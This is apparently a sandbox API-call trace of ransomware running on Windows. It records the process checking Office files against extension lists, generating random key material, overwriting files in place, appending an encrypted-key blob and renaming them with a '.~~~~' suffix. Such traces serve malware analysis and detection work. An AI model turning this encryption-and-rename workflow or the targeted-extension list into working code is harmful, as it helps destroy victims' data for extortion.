	[0143.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".bat") returned 0x0
	[0143.847] lstrlenW (lpString=".cpl") returned 4
	[0143.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".cpl") returned 0x0
	[0143.848] lstrlenW (lpString=".sys") returned 4
	[0143.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".sys") returned 0x0
	[0143.848] lstrlenW (lpString=".msc") returned 4
	[0143.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".msc") returned 0x0
	[0143.848] lstrlenW (lpString=".com") returned 4
	[0143.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".com") returned 0x0
	[0143.848] lstrlenW (lpString=".lnk") returned 4
	[0143.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".lnk") returned 0x0
	[0143.848] lstrlenW (lpString=".msp") returned 4
	[0143.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".msp") returned 0x0
	[0143.848] lstrlenW (lpString=".pif") returned 4
	[0143.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".pif") returned 0x0
	[0143.848] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0143.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0143.848] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\qryint32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0143.851] lstrlenW (lpString=".sqb") returned 4
	[0143.851] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".sqb") returned 0x0
	[0143.851] lstrlenW (lpString=".ost") returned 4
	[0143.851] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".ost") returned 0x0
	[0143.851] lstrlenW (lpString=".txt") returned 4
	[0143.851] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".txt") returned 0x0
	[0143.852] lstrlenW (lpString=".mdt") returned 4
	[0143.852] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".mdt") returned 0x0
	[0143.852] lstrlenW (lpString=".BDB") returned 4
	[0143.852] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".BDB") returned 0x0
	[0143.852] lstrlenW (lpString=".eql") returned 4
	[0143.852] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".eql") returned 0x0
	[0143.852] lstrlenW (lpString=".DBF") returned 4
	[0143.852] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".DBF") returned 0x0
	[0143.852] lstrlenW (lpString=".EQL") returned 4
	[0143.852] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".EQL") returned 0x0
	[0143.852] lstrlenW (lpString=".FDB") returned 4
	[0143.852] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".FDB") returned 0x0
	[0143.852] lstrlenW (lpString=".EDB") returned 4
	[0143.852] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".EDB") returned 0x0
	[0143.852] lstrlenW (lpString=".DACPAC") returned 7
	[0143.852] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".DACPAC") returned 0x0
	[0143.852] lstrlenW (lpString=".VHD") returned 4
	[0143.852] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".VHD") returned 0x0
	[0143.852] lstrlenW (lpString=".DBV") returned 4
	[0143.852] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".DBV") returned 0x0
	[0143.852] lstrlenW (lpString=".dacpac") returned 7
	[0143.852] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".dacpac") returned 0x0
	[0143.852] lstrlenW (lpString=".sdf") returned 4
	[0143.852] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".sdf") returned 0x0
	[0143.852] lstrlenW (lpString=".accdb") returned 6
	[0143.853] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".accdb") returned 0x0
	[0143.853] lstrlenW (lpString=".DBX") returned 4
	[0143.853] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".DBX") returned 0x0
	[0143.853] lstrlenW (lpString=".MDT") returned 4
	[0143.853] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".MDT") returned 0x0
	[0143.853] lstrlenW (lpString=".SQB") returned 4
	[0143.853] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".SQB") returned 0x0
	[0143.853] lstrlenW (lpString=".vhd") returned 4
	[0143.853] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".vhd") returned 0x0
	[0143.853] lstrlenW (lpString=".bac") returned 4
	[0143.853] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".bac") returned 0x0
	[0143.853] lstrlenW (lpString=".mdf") returned 4
	[0143.853] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".mdf") returned 0x0
	[0143.853] lstrlenW (lpString=".BAK") returned 4
	[0143.853] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".BAK") returned 0x0
	[0143.853] lstrlenW (lpString=".BAC") returned 4
	[0143.853] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".BAC") returned 0x0
	[0143.853] lstrlenW (lpString=".dbs") returned 4
	[0143.853] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".dbs") returned 0x0
	[0143.853] lstrlenW (lpString=".vhdx") returned 5
	[0143.853] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".vhdx") returned 0x0
	[0143.853] lstrlenW (lpString=".NDF") returned 4
	[0143.853] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".NDF") returned 0x0
	[0143.853] lstrlenW (lpString=".dat") returned 4
	[0143.854] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".dat") returned 0x0
	[0143.854] lstrlenW (lpString=".DBS") returned 4
	[0143.854] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".DBS") returned 0x0
	[0143.854] lstrlenW (lpString=".CKP") returned 4
	[0143.854] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".CKP") returned 0x0
	[0143.854] lstrlenW (lpString=".edb") returned 4
	[0143.854] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".edb") returned 0x0
	[0143.854] lstrlenW (lpString=".PST") returned 4
	[0143.854] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".PST") returned 0x0
	[0143.854] lstrlenW (lpString=".dbf") returned 4
	[0143.854] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".dbf") returned 0x0
	[0143.854] lstrlenW (lpString=".SQL") returned 4
	[0143.854] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".SQL") returned 0x0
	[0143.854] lstrlenW (lpString=".pst") returned 4
	[0143.854] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".pst") returned 0x0
	[0143.854] lstrlenW (lpString=".dbv") returned 4
	[0143.854] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".dbv") returned 0x0
	[0143.854] lstrlenW (lpString=".SDF") returned 4
	[0143.854] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".SDF") returned 0x0
	[0143.854] lstrlenW (lpString=".dtxs") returned 5
	[0143.854] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".dtxs") returned 0x0
	[0143.854] lstrlenW (lpString=".db3") returned 4
	[0143.854] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".db3") returned 0x0
	[0143.854] lstrlenW (lpString=".OST") returned 4
	[0143.854] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".OST") returned 0x0
	[0143.855] lstrlenW (lpString=".dbx") returned 4
	[0143.855] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".dbx") returned 0x0
	[0143.855] lstrlenW (lpString=".DB3") returned 4
	[0143.855] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".DB3") returned 0x0
	[0143.855] lstrlenW (lpString=".DAT") returned 4
	[0143.855] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".DAT") returned 0x0
	[0143.855] lstrlenW (lpString=".VHDX") returned 5
	[0143.855] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".VHDX") returned 0x0
	[0143.855] lstrlenW (lpString=".ndf") returned 4
	[0143.855] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".ndf") returned 0x0
	[0143.855] lstrlenW (lpString=".DB") returned 3
	[0143.855] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".DB") returned 0x0
	[0143.855] lstrlenW (lpString=".sql") returned 4
	[0143.855] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".sql") returned 0x0
	[0143.855] lstrlenW (lpString=".MYD") returned 4
	[0143.855] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".MYD") returned 0x0
	[0143.855] lstrlenW (lpString=".DBT") returned 4
	[0143.855] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".DBT") returned 0x0
	[0143.855] lstrlenW (lpString=".ACCDB") returned 6
	[0143.855] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".ACCDB") returned 0x0
	[0143.855] lstrlenW (lpString=".fdb") returned 4
	[0143.855] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".fdb") returned 0x0
	[0143.855] lstrlenW (lpString=".bak") returned 4
	[0143.855] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".bak") returned 0x0
	[0143.855] lstrlenW (lpString=".myd") returned 4
	[0143.856] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".myd") returned 0x0
	[0143.856] lstrlenW (lpString=".DTXS") returned 5
	[0143.856] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".DTXS") returned 0x0
	[0143.856] lstrlenW (lpString=".ckp") returned 4
	[0143.856] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".ckp") returned 0x0
	[0143.856] lstrlenW (lpString=".dbt") returned 4
	[0143.856] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".dbt") returned 0x0
	[0143.857] lstrlenW (lpString=".db") returned 3
	[0143.857] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".db") returned 0x0
	[0143.857] lstrlenW (lpString=".TXT") returned 4
	[0143.857] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".TXT") returned 0x0
	[0143.857] lstrlenW (lpString=".MDF") returned 4
	[0143.857] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".MDF") returned 0x0
	[0143.857] lstrlenW (lpString=".bdb") returned 4
	[0143.857] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".bdb") returned 0x0
	[0143.857] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0143.857] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0143.857] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0143.857] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0143.857] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394b08) returned 1
	[0143.858] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0143.858] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0143.859] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0143.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0143.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0143.859] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26384895597) returned 1
	[0143.859] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbf27a330, dwHighDateTime=0x1d60e1e)) 
	[0143.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0143.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0143.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0143.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3cd2d8
	[0143.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0143.859] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cd2d8 | out: hHeap=0x300000) returned 1
	[0143.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0143.859] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0143.860] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a9360
	[0143.860] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0143.860] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6b38
	[0143.860] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a9360 | out: hHeap=0x300000) returned 1
	[0143.860] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0143.860] GetLastError () returned 0x0
	[0143.860] GetLastError () returned 0x0
	[0143.860] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0143.860] GetLastError () returned 0x0
	[0143.861] GetLastError () returned 0x0
	[0143.861] ReadFile (in: hFile=0x138, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x24dfec0*=0x14760, lpOverlapped=0x0) returned 1
	[0143.923] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffeb8a0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0143.923] WriteFile (in: hFile=0x138, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x14760, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x24dfec0*=0x14760, lpOverlapped=0x0) returned 1
	[0143.923] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0143.923] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0143.923] WriteFile (in: hFile=0x138, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0143.924] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0143.924] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0143.924] CloseHandle (hObject=0x138) returned 1
	[0143.924] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6b38
	[0143.924] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\qryint32.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\qryint32.dll.~~~~")) returned 1
	[0143.927] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c6b38 | out: hHeap=0x300000) returned 1
	[0143.927] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0143.927] GetLastError () returned 0x0
	[0143.927] RtlWakeConditionVariable () returned 0x0
	[0143.927] GetCurrentThreadId () returned 0x3a4
	[0143.928] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".scr") returned 0x0
	[0143.928] lstrlenW (lpString=".cmd") returned 4
	[0143.928] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".cmd") returned 0x0
	[0143.928] lstrlenW (lpString=".dll") returned 4
	[0143.928] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".dll") returned 0x0
	[0143.928] lstrlenW (lpString=".bat") returned 4
	[0143.928] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".bat") returned 0x0
	[0143.928] lstrlenW (lpString=".cpl") returned 4
	[0143.928] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".cpl") returned 0x0
	[0143.928] lstrlenW (lpString=".sys") returned 4
	[0143.928] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".sys") returned 0x0
	[0143.928] lstrlenW (lpString=".msc") returned 4
	[0143.928] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".msc") returned 0x0
	[0143.928] lstrlenW (lpString=".com") returned 4
	[0143.928] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".com") returned 0x0
	[0143.928] lstrlenW (lpString=".lnk") returned 4
	[0143.928] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".lnk") returned 0x0
	[0143.928] lstrlenW (lpString=".msp") returned 4
	[0143.928] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".msp") returned 0x0
	[0143.928] lstrlenW (lpString=".pif") returned 4
	[0143.928] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".pif") returned 0x0
	[0143.928] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0143.928] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch="msp\r\n.pif") returned 0x0
	[0143.928] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\defaultblackandwhite.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0143.930] lstrlenW (lpString=".sqb") returned 4
	[0143.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".sqb") returned 0x0
	[0143.930] lstrlenW (lpString=".ost") returned 4
	[0143.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".ost") returned 0x0
	[0143.930] lstrlenW (lpString=".txt") returned 4
	[0143.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".txt") returned 0x0
	[0143.930] lstrlenW (lpString=".mdt") returned 4
	[0143.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".mdt") returned 0x0
	[0143.931] lstrlenW (lpString=".BDB") returned 4
	[0143.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".BDB") returned 0x0
	[0143.931] lstrlenW (lpString=".eql") returned 4
	[0143.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".eql") returned 0x0
	[0143.931] lstrlenW (lpString=".DBF") returned 4
	[0143.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".DBF") returned 0x0
	[0143.931] lstrlenW (lpString=".EQL") returned 4
	[0143.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".EQL") returned 0x0
	[0143.931] lstrlenW (lpString=".FDB") returned 4
	[0143.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".FDB") returned 0x0
	[0143.931] lstrlenW (lpString=".EDB") returned 4
	[0143.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".EDB") returned 0x0
	[0143.931] lstrlenW (lpString=".DACPAC") returned 7
	[0143.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".DACPAC") returned 0x0
	[0143.931] lstrlenW (lpString=".VHD") returned 4
	[0143.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".VHD") returned 0x0
	[0143.931] lstrlenW (lpString=".DBV") returned 4
	[0143.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".DBV") returned 0x0
	[0143.931] lstrlenW (lpString=".dacpac") returned 7
	[0143.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".dacpac") returned 0x0
	[0143.931] lstrlenW (lpString=".sdf") returned 4
	[0143.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".sdf") returned 0x0
	[0143.931] lstrlenW (lpString=".accdb") returned 6
